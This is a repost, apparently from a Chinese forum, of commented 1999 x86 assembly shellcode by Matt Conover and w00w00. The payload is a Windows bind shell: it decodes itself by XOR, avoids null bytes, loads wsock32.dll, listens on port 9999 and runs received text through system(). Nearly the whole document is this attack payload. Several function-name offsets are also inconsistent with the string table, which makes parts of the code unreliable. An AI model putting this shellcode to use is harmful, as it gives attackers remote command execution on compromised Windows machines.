文章作者:Matt Conover & w00w00 (WSD)
复制内容到剪贴板
代码:
# Windows shell (one-sided command.com)
# Copyright (C) March 1999, Matt Conover & w00w00 (WSD)
#
# Can give input, but will not see output
# This will only allow 1 connection at a time (for simplicity)
#
# Because Windows doesn't allow interrupts, we push arguments on the stack
# and 'call' functions. The catch is that the addresses of necessary
# functions will vary between programs. Therefore, we use the shellgen
# to "plug" in our guessed (or acquired) addresses.
#
# Notes:
# %edi = first of pre-defined data
# %esi = address of module handle
# %ecx = client (accept()) fd
# %edx = server (socket()) fd
jmp init # cheap hack (to get data addresses)
start: popl %edi # pop saved eip into edi
# ---------------------------------------------------------------------
# First we must un'xor all bytes in the shellcode, except for the first
# few, which was left unxor'd (this code here) so that we could decrypt
# We start at our ascii strings, and move backwards until we get to
# the end of this code (un-xor'd code)
pushl %edi # save the old edi
call blah # this will be used as an index address
blah: popl %esi # on where to stop xor'ing
movl %esi,%eax # save ending address for XOR
subl $0x5,%eax # note: we are xor'ing end addr->start addr
addl $0xXX,%edi # offset to beginning of xor'd code
xorloop:
decl %edi # start at top, decrease addr to bottom
cmpl whatever,%edi # see if we've reached decrypted all data
jle xorloop_end # if we've reached last address.. end
xorb $0x1,(%edi) # otherwise, decrypt/xor the byte
jmp xorloop
xorloop_end: popl %edi # restore the old edi
# -------------------------------------
# START OF XOR'D BLOCK
# Set all 0xff's to 0x00's (null chars)
# NOTE: the 0xffffffff's used for LoadLibrary() and GetProcAddress() will
# be modified by shellgen, and will not exist at run-time
pushl %edi # save %edi (saved eip)
decl %edi # start 1 address below
leal 0x56(%edi),%eax # store the final 0xff address
setnull_loop:
cmpl %edi,%eax # see if we're at end of 0xff'd data
je setnull_end # end if so
incl %edi # address pointer by 1
cmpb $0xff,(%edi) # see if it's 0xff
jne setnull_loop # if not, continue
addb $0x1,(%edi) # set 0xff'd byte to null
jmp setnull_loop
setnull_end: popl %edi # restore the old %edi (saved eip)
# ---------------------------------------------------------------------
# NOTE: All bytes from this point on will be XOR'd (encrypted) to prevent
# nulls in the call functions (et. al.)
LoadLibrary:
leal 0x8(%edi),%eax # 0x8(%edi) = address of libname
pushl %eax
call *%edi # call LoadLibrary("wsock32.dll");
movl %eax,%esi # store retval (mod handle) in esi
# ----------------- WSAStartup()
# Note: in practice, this isn't needed. A program we're trying to exploit
# will have already called WSAStartup() if we are communicating with it
# remotely. Therefore, we'll leave the code but comment it out.
# WSAStartup:
# subl $0x190,%esp # allocate 400 bytes for WSADATA
# movl %esp,%ebx # address of WSADATA (used as arg 2)
# push %ebx # &wsaData
# push $0x101 # MAKEWORD(1, 1) result = wsock v1.1
# leal 0x14(%edi),%eax # function name ("WSAStartup")
# call getprocaddr # function addr returned in %eax
# call *%eax # call ret. addr. (WSAStartup()'s addr)
# ----------------- socket()
socket:
xorl %eax,%eax # clear out %eax
pushl %eax # IPPROTO_IP (protocol)
pushl $0x1 # SOCK_STREAM (type)
pushl $0x2 # AF_INET (family)
leal 0x1f(%edi),%eax # function address ("socket")
call getprocaddr # function addr returned in %eax
call *%eax # call ret. addr. (socket()'s addr)
movl %eax,%edx # store server fd in edx
# ----------------- bind()
bind:
pushl $0x10 # sockaddr size in bytes (16 bytes)
subl $0x10,%esp # allocate mem for sockaddr
movl %esp,%ebx # address of sockaddr
pushl %ebx # sockaddr's address
xorl %eax,%eax
movb $0x10,%al # zero 0x10 (16) bytes
call bzero # zero out sockaddr (ebx = ptr)
# NOTE - this the structure order may vary between compilers
movb $0x2,(%esp) # AF_INET (sockaddr->sin_family)
movl $0xf27,0x4(%esp) # port 9999, in NBO (sockaddr->sin_port)
pushl %edx # server fd
leal 0x1f(%edi),%eax # function name ("bind")
call getprocaddr # function addr returned in %eax
call *%eax # call ret. addr. (bind()'s addr)
# ----------------- listen()
listen:
xorl %eax,%eax # clear out %eax
pushl %eax # number of backlogs
pushl %edx # server fd
leal 0x1f(%edi),%eax # function name ("listen")
call getprocaddr # function addr returned in %eax
call *%eax # call ret. addr. (listen()'s addr)
while_loop1:
# ----------------- accept()
accept:
# setup 3rd arg for accept()
subl $0x4,%esp # allocate room for sockaddr len
movl $0x10,(%esp) # size of sockaddr (16 bytes)
movl %esp,%ebx # load %ebx with socklen's address (int *)
pushl %ebx # socklen address
# setup 2nd arg for accept()
subl $0x10,%esp # allocate client's sockaddr (16 bytes)
movl %esp,%ebx # address of sockaddr
pushl %ebx # sockaddr address
pushl %edx # server fd
leal 0x1f(%edi),%eax # function name ("listen")
call getprocaddr # function addr returned in %eax
call *%eax # call ret. addr. (listen()'s addr)
# ----------------------
movl %eax,%ecx # store new client fd here
subl $0x100,%esp # size of buffer (256 bytes)
movl %esp,%ebx # address of buffer
movl %ebx,%ecx # ecx = buf ptr
movl $0x100,%eax # zero 0x100 (256) bytes
call bzero # zero out buf (ebx = ptr)
subwhile_loop1:
# ----------------- recv()
recv:
xorl %eax,%eax # clear out %eax
pushl %eax # flags
pushl $0x1 # buffer len (1 char)
pushl %ecx # pointer to buf
pushl %edx # client fd
leal 0x1f(%edi),%eax # function name ("recv")
call getprocaddr # function addr returned in %eax
call *%eax # call ret. addr. (recv()'s addr)
xorl %ebx,%ebx # clear out %ebx
cmpl %ebx,%eax # compare recv() retval to 0
jl subwhile_end1 # if < 0, break (i.e., SOCKET_ERROR)
# ----------------------
cmpb $0x1f,(%ecx) # 0x1f = last ascii code before space
jle noprint # if it's < ascii code 0x1f, end buffer
incl %ecx # increase bufptr by 1 byte
jmp subwhile_loop1 # get next char
noprint:
xorl %eax,%eax # clear out %eax
movl %eax,(%ecx) # null terminate buffer
# fall into system() to exec buf
# ----------------- system()
system:
leal 0x1f(%edi),%eax # function name ("system")
call getprocaddr # function addr returned in %eax
call *%eax # call ret. addr. (system()'s addr)
# --------------------------
movl $0x100,%eax # zero 0x100 (256) bytes
call bzero # zero out sockaddr (ebx = ptr)
movl %ebx,%ecx # reset buf ptr to first of buf
jmp subwhile_loop1
subwhile_end1: # where we break to
# continue on below
# ------------------------------------------------------
# closesocket()
closesocket:
pushl %ecx # client fd
leal 0x43(%edi),%eax # function name ("closesocket")
call getprocaddr # function addr returned in %eax
call *%eax # call ret. addr. (closesocket()'s addr)
jmp while_loop1
# -------------------------------------------------------------------
getprocaddr:
pushl %eax # function name (caller set %eax)
pushl %esi # push the module returned by LoadLibrary()
leal 0x4(%edi),%ebx # address of GetProcAddress()
call *%ebx # call GetProcAddress(mod, funcname)
ret # return because this is called as a proc
# -------------------------------------------------------------------
bzero:
pushl %ebx # save %ebx (used as pointer)
pushl %ecx # save %ecx (used to hold 0x0)
loop:
xorl %ecx,%ecx # clear out %ecx
movb %cl,(%ebx) # set byte to null
incl %ebx # increase pointer
decl %eax # decrease counter
cmpl %ecx,%eax # compare counter = 0
jle endloop # if <= 0, break;
jmp loop # continue looping
endloop:
popl %ecx # restore old %ecx (used to hold 0x0)
popl %ebx # restore old %ebx (used as pointer)
ret
# ----------------------------
# END OF XOR'D BLOCK
init: call start # used to set eip as an index
# -------------------------------------------------------------------
# These 2 will be modified by shellgen.. don't touch!
.byte 0xff,0xff,0xff,0xff # LoadLibrary(), (%edi)
.byte 0xff,0xff,0xff,0xff # GetProcAddress(), 0x4(%edi)
# I use 0xff to indicate "end of string" (we can't use nulls)
.ascii "wsock32.dll" # 11 bytes, 0x8(%edi)
.byte 0xff # 1 byte
# -------------------------------------------------------------------
# WSAStartup() will usually not be used, but we're leaving it anyway.
.ascii "WSAStartup" # 10 bytes, 0x14(%edi)
.byte 0xff # 1 byte
.ascii "socket" # 6 bytes, 0x1f(%edi)
.byte 0xff # 1 byte
.ascii "bind" # 4 bytes, 0x26(%edi)
.byte 0xff # 1 byte
.ascii "listen" # 6 bytes, 0x2b(%edi)
.byte 0xff # 1 byte
.ascii "accept" # 6 bytes, 0x32(%edi)
.byte 0xff # 1 byte
.ascii "recv" # 4 bytes, 0x39(%edi)
.byte 0xff # 1 byte
.ascii "send" # 4 bytes, 0x3e(%edi)
.byte 0xff # 1 byte
.ascii "system" # 6 bytes, 0x43(%edi)
.byte 0xff # 1 byte
.ascii "closesocket" # 11 bytes, 0x4a(%edi)
.byte 0xff # 1 byte